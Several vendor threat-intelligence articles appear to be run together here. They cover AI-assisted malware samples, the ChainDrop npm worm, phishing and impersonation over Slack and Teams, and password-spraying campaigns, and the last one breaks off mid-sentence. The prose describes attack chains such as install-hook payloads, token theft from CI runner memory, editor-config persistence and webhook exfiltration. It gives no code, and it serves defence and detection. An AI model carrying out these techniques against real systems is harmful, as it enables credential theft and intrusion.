To assess the impact of AI-enabled malware, we collected and analyzed over 400 malware samples that integrate AI in some capacity, from brand impersonation and large language model (LLM)-generated code to agentic execution loops. Our central finding was that the AI malware space is currently overwhelmingly composed of proof-of-concept code, security validation testing and researcher submissions that have never reached a production environment. Of the 405 samples in our dataset, only 12 appeared in our telemetry on Cortex XDR-protected endpoints, and a small subset was forwarded through Next-Generation Firewalls to WildFire for analysis. Palo Alto Networks products detected and blocked every sample that attempted to reach a customer environment. These numbers tell a story that sits between two poles in the current discourse. AI-enabled malware is real. However, the volume of genuine operational activity remains a fraction of what public sample repositories suggest. Approximately 97% of the samples we examined exist only in sandboxes and on VirusTotal. For defenders, the practical takeaway is straightforward. Existing behavioral detection, cloud-based sandboxing and endpoint analytics catch these threats using the same mechanisms that stop conventional malware. The AI component does not evade detection. It changes how the code is authored, not how it executes. Palo Alto Networks customers are better protected against the threats discussed in this article through the following products and services, which detected these AI-enabled malware threats out of the box: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Our starting dataset consisted of 405 unique SHA-256 hashes collected from WildFire analysis reports, VirusTotal Intelligence and published open-source intelligence (OSINT) research. The collection criteria were broad. We included any sample where AI integration was either a functional component of the malware, a feature of its delivery mechanism or part of its branding. This intentionally inclusive approach captured everything from LLM-powered ransomware agents to cryptocurrency miners that simply used “ChatGPT” in their filename. We queried this dataset across multiple telemetry sources to measure real-world prevalence: Endpoint presence: Cortex XDR agent telemetry from non-test tenants (December 2024–June 2025) Network visibility: WildFire session data from samples forwarded by Next-Generation Firewalls and Cortex XDR agents (June 2024–June 2025) Alert generation: Cortex XDR alert records for samples that triggered detection logic on endpoints Sandbox verdicts: WildFire analysis results with malware classification Table 1 summarizes the results of this dataset. Table 1. Telemetry coverage across the AI malware dataset. The disparity between the 405-sample dataset and the 12 samples observed in production environments is the most important number in this analysis. Approximately 97% of AI-enabled malware samples exist only in research repositories, sandbox environments and security validation platforms. We found no evidence that they reached a customer endpoint or traversed a customer firewall. The following sections examine the characteristics of the dataset. The samples that never appeared in production telemetry fall into three categories: Proof-of-concept and research code Security validation and testing AI-themed brand abuse The largest category consists of proof-of-concept implementations published to demonstrate a technique. These include: LLM-powered ransomware frameworks with hard-coded test parameters (such as ransom addresses pointing to the Bitcoin Genesis Block, which cannot receive recoverable payments) AI-assisted reconnaissance scripts designed for conference demonstrations Modular attack frameworks built to test specific AI integration patterns rather than to compromise real targets Many of these samples share common characteristics: They target localhost or private IP address ranges in their configuration They contain verbose debug logging that no operational threat actor would leave enabled Their submission histories show a single upload from a security research organization or academic institution Additionally, we found many of these samples in file paths that indicated malware analysis or research. They contained terms such as research, mal or analysis in their directory paths. A second category comprises samples submitted by breach-and-attack simulation (BAS) platforms and internal security teams. These appear in WildFire and on VirusTotal because organizations deliberately test their detection capabilities against publicly reported AI malware samples. The submission patterns are distinctive. They include multiple uploads of the same hash from the same organization within a short time window, often during business hours in a single time zone. They frequently come from IP addresses associated with known security testing infrastructure. A third category uses AI branding without meaningful AI integration. Filenames reference popular AI companies or other AI products, but the payload is conventional malware wrapped in an installer that mimics an AI application. The AI branding is a social engineering tactic, not a technical capability. These samples are real threats to the people who download them, but they do not represent a new category of AI-enabled attack. Twelve samples from the dataset appeared on Cortex XDR-protected endpoints across organizations in three countries. They span five distinct malware families, each representing a different pattern of AI integration or AI-themed delivery. These five families are: FunkSec ransomware A trojanized AI application The Oyster backdoor The Rhadamanthys stealer A COM hijacking DLL The most represented family in our endpoint data is FunkSec, a ransomware strain that multiple researchers have assessed as partially generated with LLM assistance. Seven distinct variants appeared across production endpoints, compiled between Jan. 1–6, 2025. The variants share a common Rust codebase and use similar evasion techniques: Disabling Windows Defender through PowerShell and registry modifications Deleting volume shadow copies Changing the desktop wallpaper to display a ransom note The PDB paths embedded in the binaries reveal an active development cycle. Variants use project names including: Dev.pdb Funksec.pdb Darkzone.pdb Darkfunk.pdb This is consistent with a developer iterating on the same codebase under multiple working names. Seven distinct builds in six days is a pace that suggests LLM-assisted development, where generating a new variant is closer to a prompt generation rather than a software development task. WildFire classified all seven variants as malware. Cortex XDR generated alerts for every variant that executed on an endpoint. The most widely encountered sample in the dataset is an NSIS installer that masquerades as a recipe-finding application called Recipe Lister. The binary is signed with a code-signing certificate issued to Global Tech Allies Ltd. — a certificate that has since been revoked. When executed, it extracts and runs a JavaScript backdoor from a temporary directory. This sample generated the highest volume of telemetry in our dataset. It appeared across more than 50 organizations and generated over 6,500 endpoint profile records and 9,600 XDR alerts during the observation window. The alert data confirms that Cortex XDR blocked the binary across these environments through a combination of local analysis, behavioral protection and WildFire cloud verdicts. No execution succeeded on a protected endpoint. The detection dynamics around this sample illustrate how layered defense handles AI-themed threats: The code signature initially suppresses static detection, as the file appears legitimately signed Behavioral analytics identify the threat through two secondary signals: - The signer is uncommon across the organization's fleet - The file entropy is near-maximum (0.999970), indicating packed or encrypted content The WildFire cloud verdict, which arrives after the file is forwarded for sandbox analysis, provides the definitive classification and triggers the block action One sample masquerades as a Dropbox installer and carries an Authenticode signature whose subject identity reads Dropbox, Inc. To the victim, this appears to be verified, publisher-signed software. In reality, the installer drops an AutoIt loader that side-loads the Oyster (aka CleanBoost) backdoor. The signed file is not Dropbox software, and the signature lends it false legitimacy. Attackers are using AI tools to quickly generate the malicious code required for the initial access and delivery phases of the attack, lowering the barrier to entry and speeding up the deployment of loaders like this NSIS installer. A .NET executable named redist.exe delivers the Rhadamanthys information stealer with active command-and-control communication. According to previous reporting, this sample was part of an AI-enabled infection chain that ultimately delivered this sample of Rhadamanthys stealer. A DLL masquerading as a component of 360 Total Security named 360Util.dll implements persistence through COM object hijacking. The PDB path references 360Util.pdb, and the file metadata impersonates the Chinese-language product name. We included this sample in the dataset because it was delivered alongside AI-branded lures in campaigns we observed. The gap between the volume of AI malware samples in public repositories and the volume observed in production environments reflects the current state of AI-enabled threats. AI lowers the barrier to creating malware, and the number of samples in our dataset confirms that many people are experimenting with the technique. But creating a sample and successfully deploying it against a defended environment are different problems, and malware authors have not to date succeeded at using AI to solve the second one. The samples that did reach production environments were detected by the same mechanisms that catch conventional malware: Sandbox detonation Behavioral analytics Code-signing anomaly detection Entropy analysis None of the AI-enabled samples in our dataset required a novel detection approach. The AI component influenced how the malware was written, but the resulting binary still exhibits the same behavioral indicators that existing detection logic targets. This does not mean we can dismiss AI-enabled threats: The development velocity visible in FunkSec's PDB paths suggests that LLM-assisted coding accelerates the iteration cycle for ransomware development The trojanized AI application campaign demonstrates that AI brand recognition is an effective social engineering vector, with the sample reaching more than 50 organizations The presence of legitimate code signatures on multiple samples shows that the delivery sophistication of AI-themed malware matches that of conventional threats Telemetry data does not reveal statistically significant targeting patterns across the samples. The encounters span three countries and industries with no concentration in any single sector or geography. This is consistent with opportunistic operations rather than targeted campaigns directed at specific organizations or verticals. The absence of targeting patterns is itself informative. AI-enabled malware, at this stage of adoption, follows the same distribution model as most offensive cyber activity. Threat actors are integrating AI capabilities into tools that they’ve deployed broadly rather than reserving them for operations against specific high-value targets. When evaluating AI in the current malware landscape, it should not be categorized as mere hype or altogether dismissed. AI-enabled malware is a real and growing category, but our current defensive frameworks detect and block AI-enabled malware regardless of the role that use of AI played in its development. Organizations that maintain strong defense in depth are well positioned to detect these threats as they evolve. Palo Alto Networks customers are better protected from the threats discussed above through the following products, which detected these AI-enabled malware threats out of the box: The Advanced WildFire machine-learning models and analysis techniques identify indicators shared in this research. Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware and prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Table 2 lists the samples assessed as genuine threat actor activity. Table 2. Samples observed on production endpoints. Analyzing the Current State of AI Use in Malware — Palo Alto Networks, Unit 42

While supply chain threats have been quietly compounding over the past decade, the last 12–18 months have triggered a drastic shift in the scale and velocity of these attacks. Rather than just hunting for bugs in finished software, attackers are targeting the everyday tools and code developers rely on. Unit 42 research shows this happening at every step of the building process. We've observed attackers spending years pretending to be helpful contributors just to hide backdoors in core software, as seen in the XZ Utils vulnerability (CVE-2024-3094). We've seen attackers hijack accounts to drop malware into popular libraries, like in the Axios supply chain attack. And we've seen them misuse setup scripts to automatically steal credentials using the Shai-Hulud npm worm. Simply put, attackers are more focused on poisoning the digital factory that builds an application as opposed to the application itself. By targeting continuous integration/continuous delivery (CI/CD) pipelines and developer environments, they hijack software at the source before it ever hits production. Threat Analysis: ChainDrop npm Worm Consider the recent ChainDrop npm worm, which infected over 400 packages including massively popular libraries like keyv and cacheable-request using a highly evasive three-step chain: The hook: Attackers modified package manifests with a malicious preinstall script that downloaded the legitimate Bun runtime to silently launch a 727 KB obfuscated payload in the background. The theft: Rather than just scraping disk files, a hidden Python script directly read live process memory from GitHub Actions runners to steal temporary OpenID Connect (OIDC) tokens and secrets, alongside a massive sweep for local developer credentials. The payload: The worm used those stolen npm and GitHub tokens to self-propagate, silently infecting and republishing additional packages while leaving their legitimate functionality perfectly intact so that developers don't notice. ChainDrop secured long-term persistence by establishing cross-linked hooks directly inside developer tools like VS Code and Claude Code, while managing its entire command-and-control (C2) infrastructure dynamically through Ethereum blockchain transactions. The malware triggers silently the second someone runs npm install by misusing npm's setup scripts (preinstall hooks). From there, it hits three distinct targets: Cloud secret harvesting: It searches build server memory to scrape unencrypted credentials and platform access tokens Local endpoint backdooring: It modifies local developer tool configs (like VS Code's tasks.json) so the attacker retains access even after the build finishes Automated propagation: It uses stolen tokens to automatically create rogue code repositories, turning compromised accounts into new launchpads to spread the worm The main takeaway is that open-source and third-party packages touch every single phase of the software development lifecycle (SDLC). Modern applications aren't built from scratch, they are assembled. Because open-source code makes up 80-90% of modern codebases, the attack surface expands to developer laptops, CI/CD pipelines and cloud infrastructure. Ten years ago, a project might have relied on a few dozen external libraries. Today, even a simple application pulls in thousands of indirect dependencies. Generating a software bill of materials (SBOM) at the end of a build is great for compliance, but an SBOM alone simply doesn't cut it anymore. An inventory list created at the finish line won't catch malware that was executed during the build process. To truly secure an environment, every single place a third-party package touches needs to be mapped. The Endpoint Attack Surface Developers today navigate an endless matrix of language-specific package managers. They routinely execute installations across a massive array of ecosystems — npm install, pip install, cargo build, go get, mvn install and many more — while simultaneously juggling 10–30 integrated development environment (IDE) extensions. Why are these attacks so effective? Because developer tools lack basic guardrails. Think about your web browser. When you visit a website, the browser locks it in a safe container (a sandbox) so it can’t touch your computer. But setup scripts and code editor extensions don't have those walls. The second they run, they get the same permissions you have, giving malware total freedom to read your files, steal keys and run commands on your machine. This massive, un-isolated weakness is exactly why registries and marketplaces have become prime targets, as seen in the recent GlassWorm campaign. Whether it’s a malicious script running silently during a routine dependency pull or a compromised IDE extension updating automatically in the background, an attacker instantly gains unrestricted execution rights on a developer's machine and access to valuable cloud knowledge. CI/CD Pipelines Build pipelines rely on numerous outside tools, plugins and helper scripts to assemble code. Attackers often target these build environments because they are packed with temporary passwords and cloud access keys. The compromise of Trivy highlights the potential attack surface of pipeline security tools. This means that only scanning app code is insufficient. A pipeline bill of materials (PBOM) is also needed, which is an inventory list of every single tool running inside your build system. Finally, we can't forget the cloud. A standard application SBOM typically only lists the code libraries developers explicitly add to their software. However, cloud environments rely on containers, which require a broader approach. A container SBOM provides the full picture by tracking both the application code and the hidden operating system tools built into the container image such as basic security utilities and system libraries like OpenSSL. Standard application scans completely overlook these deeper system layers. The danger of this weakness was starkly illustrated by the wave of OpenSSL zero-day vulnerabilities disclosed in early 2026. Because these critical flaws sit deep within the foundational cryptographic infrastructure of the container's operating system, the application-layer code will look perfectly clean and pass every repository scan, while the underlying cloud workload remains completely exposed to a remote takeover. Given this extensive attack surface, relying on static, point-in-time gateway scans is an insufficient strategy. True supply chain resilience requires continuous visibility between local developer endpoints, automated pipelines and cloud runtime workloads. Correlating telemetry across all three domains is the only way to intercept malicious behaviors and halt a compromise before it propagates downstream. Defending against automated supply chain attacks requires shifting from reactive code scanning to strict execution control across the entire build path. Because tools, IDE extensions and package managers run with high privileges, organizations must lock down the developer environment by disabling lifecycle install scripts (--ignore-scripts), enforcing package cooldown periods, restricting CI/CD egress traffic, using ephemeral CI/CD servers and pinning dependencies down to exact commit SHAs. Beyond environment hardening, neutralizing autonomous malware like Shai-Hulud means eliminating the long-lived credentials that fuel them. By transitioning to brief OIDC authentication and enforcing end-to-end cryptographic provenance, teams can establish an unbroken chain of trust. This trust extends from signed commits at the developer endpoint to signed artifacts and SBOMs in production, helping stop self-propagating worms in their tracks.

Identity has become a primary security boundary for most organizations, reducing the ability to solely trust other boundaries once associated with corporate networks. Users authenticate to cloud services using enterprise identities that provide access to collaboration platforms, business applications and sensitive data. With the adoption of software-as-a-service (SaaS) on the rise, people are shifting to platforms for communication and collaboration. Threat actors have adapted to this shift. In addition to typical email-based phishing, attackers increasingly misuse trusted collaboration platforms to conduct identity phishing, impersonation, credential theft, malware delivery and social engineering. Over the last 12 months, our endpoint alerts of malicious activity associated with collaboration tools have more than quadrupled, as Figure 1 shows. This activity could involve compromised accounts, external federated organizations, guest accounts or trusted third-party relationships. In each case, the attackers seek to exploit the trust that people place in enterprise communication platforms. This changes the role that collaboration platforms play within enterprise security. They are not just productivity applications, they have become part of the enterprise attack surface. Unit 42 researchers found that 99% of the alerts generated related to chat phishing operations, indicating that attackers often gain access to these environments through targeted phishing operations. After a successful compromise, attackers can then communicate using the identity and privileges of the compromised user. This allows malicious activity to appear as normal collaboration activity. Security controls typically remain focused on email and authentication events, often providing limited visibility into activity occurring within authenticated collaboration sessions. We examine how threat actors leverage trusted communication channels and review identity abuse techniques. We also provide practical recommendations for detecting and defending against identity-focused attacks targeting enterprise collaboration platforms. Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Enterprise collaboration platforms have become integral to business operations. Employees use these platforms to exchange messages, share files, coordinate projects and communicate with colleagues, customers and business partners. Organizations typically connect collaboration platform access to their identity provider, and people rely on these platforms for trusted, authenticated communication. Unlike email, collaboration platforms enable real-time conversations and support features such as external federation, guest access, shared workspaces and third-party integrations. These capabilities improve productivity but also create opportunities for misuse. Attackers can exploit compromised accounts, trusted business relationships or authorized external access to interact with victims through legitimate communication channels. Figure 2 shows common pathways for attackers to compromise identities in enterprise and cloud environments. When a collaboration account is compromised, attackers inherit the identity context of that user, including their permissions, relationships and ongoing conversations. Requests that might appear suspicious in an email can appear routine when delivered through an authenticated collaboration platform. This reduces a target’s suspicion and increases the effectiveness of identity phishing, impersonation, credential theft and social engineering. As organizations adopt more SaaS collaboration platforms, they should treat these environments as part of the identity attack surface. Protecting them requires both strong authentication, and visibility into how trusted identities and communication channels are used after authentication. Recent campaigns demonstrate that attackers use collaboration platforms in multiple stages of identity-focused attacks, from initial access to post-compromise operations. Table 1 summarizes these intrusion stages. Table 1. Collaboration platform misuse by MITRE ATT&CK intrusion technique. One of the most common techniques is identity phishing through enterprise collaboration platforms. In our Insights article, "When 'Hi, This Is IT' Comes Through Microsoft Teams", we discussed how APT29 used compromised Teams accounts to send links to credential-harvesting pages. We reported that attackers misuse external federation in Teams to initiate conversations with victims while impersonating IT support or other trusted personnel. These campaigns often begin with a request to chat, followed by instructions to visit a phishing site, approve a multifactor authentication (MFA) request, install remote access software or provide credentials. Okta Threat Intelligence has also documented the technique of identity phishing through attacker-controlled Slack workspaces. The threat actor behind this activity impersonated administrators and employees from targeted organizations and sent phishing links through direct messages, channel mentions and legitimate notifications. The links redirected victims to adversary-in-the-middle phishing proxies designed to capture corporate credentials and MFA tokens. Security teams might not detect the initial collaboration message directly. They could instead see the actions that follow. An example of this is shown in a process tree from a malicious chat scenario in Figure 3. In this case, the threat actor sent a RAR file to a victim in a Teams chat. The victim accepted the file transfer and downloaded the file to their Downloads folder. The victim then opened an Explorer window and double-clicked [REDACTED].rar, launching WinRAR.exe to open the archive. WinRAR extracted the malicious lpk.dll, which the victim’s endpoint security agent detected. The extracted lpk.dll is a known, older malicious DLL that masquerades as a legitimate Windows language pack DLL. Attackers use the file for DLL sideloading attacks. This recent event demonstrates that attackers continue to use older malware families in attacks delivered through collaboration platforms. Unlike commonly-seen email phishing, some collaboration platforms support interactive communication. This enables attackers to respond to targets and adjust their social engineering tactics in real time. If successful, the attacker obtains a valid enterprise identity. The attacker can then access enterprise and cloud services with the privileges and identity context of the compromised user. Attackers use impersonation to exploit trust in collaboration platforms and gain access to enterprise identities, posing as known individuals, trusted organizations or support personnel. In January 2026, Fireblocks disclosed a recruitment-themed social engineering campaign in which attackers impersonated Fireblocks executives, recruiters and hiring managers to target technology workers. The attackers initially contacted targets through social media, provided professionally prepared recruiting materials and then scheduled interviews through Google Meet. During the video interviews, an individual presented as a Fireblocks HR manager discussed the candidate’s experience, compensation and other expected hiring topics before assigning a code review task for a fictitious Fireblocks project. Candidates were instructed to clone a GitHub repository and run standard setup commands, including npm install, which executed malicious code and downloaded malware onto their systems. The campaign used legitimate Google Meet communications and a convincing interview process to reinforce the Fireblocks impersonation and persuade victims to execute malicious code. Fireblocks assessed the activity as closely aligned with the North Korea-linked Contagious Interview campaign pattern. In March 2026, a threat actor used a staged Slack workspace as part of a targeted social engineering campaign against the lead maintainer of the Axios npm package. The threat actor impersonated a legitimate company and created a convincing Slack environment with company branding, channels, users and message history. The interaction later moved to a staged Teams meeting, where the maintainer was convinced to install software that delivered a remote access Trojan. The threat actor then gained access to the maintainer’s npm account and published two poisoned Axios versions, causing projects that installed the affected releases to retrieve and execute a malicious dependency. In April 2026, OpenSSF reported a campaign targeting members of the Linux Foundation TODO Group Slack workspace and related communities. The threat actor impersonated a known Linux Foundation community leader and contacted targets through Slack direct messages. The messages contained a Google Sites link that led to a fraudulent Google Workspace authentication process. The site requested the target’s email address and verification code. It then instructed the target to install a malicious root certificate. On macOS, the process also downloaded and executed a binary that could provide system access. The campaign used the identity of a recognized community member and an established Slack workspace to support credential collection and malware delivery. Each of these campaigns used impersonation through trusted collaboration workflows. The attackers relied on recognized identities, legitimate services and familiar business processes to obtain credentials or persuade victims to take actions that enabled identity compromise. In a more novel approach, attackers have misused trusted collaboration services to maintain their access after identity compromise. In a December 2025 intrusion investigated by CERT Polska, a threat actor modified compromised firewall-VPN appliances at a manufacturing company in Poland. The threat actor used the appliances’ built-in scripting mechanism to create weekly scheduled tasks. One script retrieved the password of a privileged identity, and another script modified security settings and disabled two-factor authentication for a privileged account. A third script used the appliances’ native Slack notification capability to send the results to a Slack channel under the threat actor’s control. This activity combined identity persistence and credential exfiltration with a legitimate SaaS integration. It also avoided the need for a separate exfiltration tool. The case demonstrates how attackers can misuse built-in appliance features and trusted collaboration services during post-compromise operations. The firewall event in Figure 4 shows an example of a Slack webhook request, a similar communication method to the one described in the CERT Polska report. The request used HTTP POST to hooks.slack[.]com with a curl user agent. The example event below is not malicious. Perimeter firewalls provide valuable visibility into webhook-related traffic exiting the organization. Many network and security appliances, including VPN appliances, operate behind a separate perimeter firewall and send outbound webhook requests through the enterprise egress path when configured for external alerting or automation. Security teams should review unexpected Slack webhook traffic, uncommon user agents and webhook activity from systems without an approved Slack integration. This type of activity should also be flagged in Microsoft Teams, which supports similar incoming webhook workflows for posting messages from external services. These examples of initial access, impersonation and persistence demonstrate how attackers leverage trusted communication channels to support identity-focused attacks. Although the techniques differ, each example leverages legitimate platforms, authenticated identities or authorized communication paths to increase the likelihood of success. The common objective is to misuse the trust, access and identity context associated with enterprise collaboration platforms. Organizations should protect collaboration platforms with the same level of scrutiny applied to email and identity infrastructure. Because these platforms are integrated with enterprise identities, security controls should focus on both preventing identity compromise and detecting misuse after authentication. The first priority is reducing unnecessary exposure. Collaboration platform administrators should review external federation, guest access and third-party integrations to ensure they support legitimate business requirements. Where possible, limit external communications to trusted organizations, and implement a process to review guest accounts regularly and remove unnecessary access. Identity protections should also extend beyond authentication. MFA, conditional access and session risk evaluation help reduce the likelihood of account compromise, but they do not prevent an attacker from misusing a valid session. Security teams should monitor for behavior that could indicate identity compromise, including unusual messaging activity, unexpected file sharing or communications with unfamiliar external tenants. Identity and security teams should define and communicate verification procedures for security-sensitive requests received through collaboration platforms. Users should not approve MFA prompts, install remote access tools, share credentials, transfer files or modify access based only on a message. Instruct people to verify high-risk requests through an approved secondary channel, such as a known phone number, ticketing system or documented internal process. User awareness remains an important part of effective verification procedures. People should treat collaboration messages, platform notifications and links to hosted content with the same caution as email. This is especially important when a request involves credentials, MFA approval, software installation, remote access tools or sensitive data. Security training should make clear that content associated with an enterprise collaboration platform is not automatically trustworthy. An attacker can send a direct message, trigger a legitimate platform notification or use content hosted on an approved service to direct victims to a phishing site. Security awareness teams should include these scenarios in phishing simulations and security awareness exercises. Many people recognize email phishing indicators but might not apply the same scrutiny to collaboration platforms and related notification workflows. Security teams should incorporate collaboration platform telemetry into routine monitoring and incident response. Authentication logs, messaging activity, file sharing events and external tenant interactions provide valuable context for detecting identity abuse. Network and security appliances should also be included in monitoring coverage. Firewalls, VPN appliances, load balancers and managed switches increasingly support automation, notification integrations and scheduled tasks. Attackers can potentially use these capabilities for malicious purposes following a compromise. To protect against such activity, security teams should monitor: Administrative activity Configuration changes Outbound webhook usage Unusual connections to collaboration or SaaS services This telemetry should be ingested into a security information and event management (SIEM) system and correlated with identity, endpoint and collaboration platform data. This can improve visibility into malicious activity that might otherwise appear to originate from legitimate users or approved infrastructure. Collaboration-based reporting must also be easy for users. Security teams should provide a clear process for reporting suspicious communications, notifications, hosted content and links associated with collaboration platforms. Each report should be triaged using identity telemetry, sign-in activity, endpoint alerts, file-sharing events and external tenant information. This helps to determine whether the activity reflects user error, external misuse or identity compromise. Enterprise collaboration platforms are integrated with enterprise identity and access workflows. As organizations rely on these platforms for communication, attackers are exploiting the trust associated with authenticated users and sanctioned communication channels to conduct identity phishing, impersonation, credential theft and post-compromise operations. Common security strategies have focused on protecting email and authentication systems. While these controls remain essential, they should be complemented by security measures that address collaboration platforms as part of the enterprise identity attack surface. Authentication alone is no longer sufficient to establish trust. Organizations must also understand how authenticated identities are communicating and recognize when trusted communication channels are being misused. By extending identity security to include collaboration platforms, defenders can better detect identity abuse, reduce opportunities for compromise and strengthen their ability to respond to identity-focused attacks. As collaboration technologies evolve, organizations should monitor and protect them with the same controls they apply to other critical identity infrastructure. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. Idira Endpoint Privilege Manager (EPM) can enable enterprises to reduce risk, satisfy compliance, and streamline operations. It can help implement least privilege via policy-driven elevation and removal of standing admin rights, and block risky actions, such as execution of unvetted applications and access to memory of other processes, while providing audit-ready evidence. Idira Secrets Manager centralizes the API keys, service account passwords, and webhook tokens that appliances, scheduled tasks, and pipelines depend on, so automation retrieves credentials at runtime instead of reading them from local scripts or device configuration. Automated rotation shortens the window in which a stolen credential stays valid, and universal workload identity replaces static credentials with short-lived SPIFFE-based workload identities where the environment supports it. Idira Privileged Access Management (PAM) helps unify privileged access across human, machine, and agentic identities to secure cloud access across multi-cloud environments. Building on proven PAM, it delivers centralized secrets management alongside modern controls like Just-in-Time access and Zero Standing Privileges. This enforces consistent least-privilege security across on-premises, cloud, and SaaS targets. Idira Secure Infrastructure Access (SIA) can help enforce Zero Standing Privileges (ZSP) through Just-in-Time (JIT) provisioning which grants temporary, tightly scoped access only as needed. Backed by continuous session recording and real-time command monitoring, SIA can detect high risk actions before an attacker compromises critical systems. Idira Secure Cloud Access (SCA) can help enforce Zero Standing Privileges (ZSP) across multicloud environments by applying Just-in-Time (JIT) access controls to cloud consoles, command-line interfaces (CLIs), and the modern cloud infrastructure where workloads reside, including Managed Kubernetes clusters and elastic cloud workloads. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Energy Sector Incident Report - 29 December 2025 – CERT Polska Slack Abused for Phishing Redirection – Okta Potential Malicious Campaign Underway Targeting Open Source Developers via Slack – OpenSSF A New Phishing Frontier: From Email to SaaS Collaboration Apps – Palo Alto Networks Threat Brief: Widespread Impact of the Axios Supply Chain Attack – Palo Alto Networks When “Hi, This Is IT” Comes Through Microsoft Teams – Palo Alto Networks Axios Maintainer Confirms Social Engineering Attack Behind npm Compromise – Socket Disrupting a Recruiting Impersonation Scam: Anatomy of Operation Contagious Interview – Fireblocks The query below is designed to help Palo Alto Networks customers hunt for, investigate and identify potentially suspicious activity using Cortex XDR. Results returned by this query should not be considered inherently malicious and require further analysis to determine their significance. This XQL query can help to identify where legitimate collaboration platforms — specifically Slack or Teams in this example — are used to execute system shells. The query inspects both the direct process hierarchy and the broader causality chain. It identifies instances where a collaboration tool is either the immediate parent process or an ancestor process that initiated the execution of a shell. Analysts can use this logic to identify: Post-exploitation activity Unauthorized command execution Living-off-the-land techniques that originate from compromised user accounts or application integrations The query can be modified to search for additional collaboration platforms or system shells.

Executive Summary Identity has effectively become the new perimeter, where cybercriminals are increasingly choosing to log in rather than break in. To accomplish this, attackers frequently gather previously leaked username and password pairs. Gathering these credentials can then allow them to pivot to password spraying against services exposed to the internet, gaining credentials for other products and services. As this sort of attack occurs frequently, this article will be a resource repository of the following information about these attacks: Details of noteworthy large scale credential attacks Actionable guidance for mitigating these attacks TheHatman Attack The Hatman attack: In August 2026, the actor TheHatman claimed to have stolen large volume of credentials from organizations' Microsoft Entra tenants FortiBleed Attack Fortibleed Credential Campaign: In June 2026, there was a large-scale password spraying campaign targeting Fortinet devices Unit 42 recommends auditing remote access logs for suspicious activity with a focus on successful logins shortly after large volume password failure events. We also recommend reviewing and implementing the hardening guidance in this article for edge devices. Palo Alto Networks customers are better protected from this activity through our products and services, such as: The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk. Activity From TheHatman From Aug. 1–Aug. 17, 2026, an actor using the handle "TheHatman" made posts across multiple forums offering to sell employee information for multiple enterprises. TheHatman allegedly exfiltrated from organizations' Microsoft Entra tenants. While TheHatman has claimed this data was stolen using compromised credentials, we have been unable to verify a specific intrusion vector. This activity was publicly reported as early as Aug. 16, 2026, and we have offered initial guidance through social media. TheHatman claims to have sensitive or confidential information from several high-profile organizations, and this actor has claimed that they used compromised credentials through MFA fatigue and password spraying attacks to gain unauthorized access to these organizations. Unit 42 has not verified these claims. FortiBleed Campaign A large-scale password spraying and credential theft campaign (“FortiBleed”) against Fortinet devices was initially disclosed in June 2026. We observed attempts targeting MSSQL devices as well, and have seen reports of Sophos devices also being targeted. While this activity is not targeting Palo Alto Networks devices, we have blocked suspicious login attempts in customer telemetry. The attackers have used a curated password list to attempt password spraying against services exposed to the internet. We assess that the initial password list for this activity was likely developed through a mix of previous breaches, including the successful exploitation of vulnerabilities. Once the attackers obtain credentials, they add them to their password list for future attempts against additional targets, as well as for logging into accounts they successfully compromised. The attackers have leveraged a multi-stage process to gain persistent, high-privilege access: Password spraying for initial access: Massive internet-wide scanning and password spraying attempts against Fortinet, Sophos and MSSQL services Configuration extraction: Depending on the permissions of their initial access, the actor could exploit a privilege escalation vulnerability prior to pulling device configuration files, including stored credentials Offline Cracking: Offline password cracking of the stolen credentials adds to the password list used in step one to target new devices, as well as to log into compromised devices to establish persistence as an administrator We observed an initial access broker (IAB) on the Russian-language cybercrime forum Exploit[.]in claiming responsibility for this campaign, referencing a CVE (no further information), and offering the harvested credentials for sale on June 16, 2026. We have not validated their claims at this time. SOCRadar provided the initial reporting on the targeting of FortiGate devices. We observed attempts targeting MSSQL devices as well, and have seen reports of Sophos devices also being targeted. Interim Guidance Unit 42 recommends auditing remote access logs for suspicious activity with a focus on successful logins shortly after large volume password failure events. We also recommend reviewing and implementing the hardening guidance below for edge devices. Palo Alto Networks customers receive assistance protecting against and mitigating credential attacks in the following ways: PAN-OS uses a Master Key to encrypt cryptographic keys in either ES-256-CBC or AES-256-GCM encryption algorithm PAN-OS only stores SHA-256 encrypted and salted hashes Customers can integrate several MFA platforms to enhance their security posture Customers can customize Password Profiles and complexity Customers can follow our Administrative Access Best Practices Palo Alto Networks also recommends the following hardening guidelines: Require MFA: Require strong phishing-resistant multi-factor authentication for all remote services. NGFW customers can integrate several MFA platforms (including Palo Alto Networks Idira MFA) and customize their Password Profiles and complexity to enhance their security posture. Adopt zero trust architecture: Leverage “jump boxes” and Zero Trust Network Access (ZTNA) policies to ensure management interfaces are never exposed directly to the public internet, further narrowing the attack surface for configuration extraction. Change default credentials: Change the credentials for default accounts, ensuring long, complex passwords are used to mitigate the risk of password guessing attempts. Ideally onboard accounts to Privileged Access Management system and rotate passwords automatically on-time and on-use. Implement ITDR: Timely detect malicious access attempts and accelerate response with automated identity-centric actions. Disable unused accounts: Run continuous discovery of privileged accounts. Onboard and 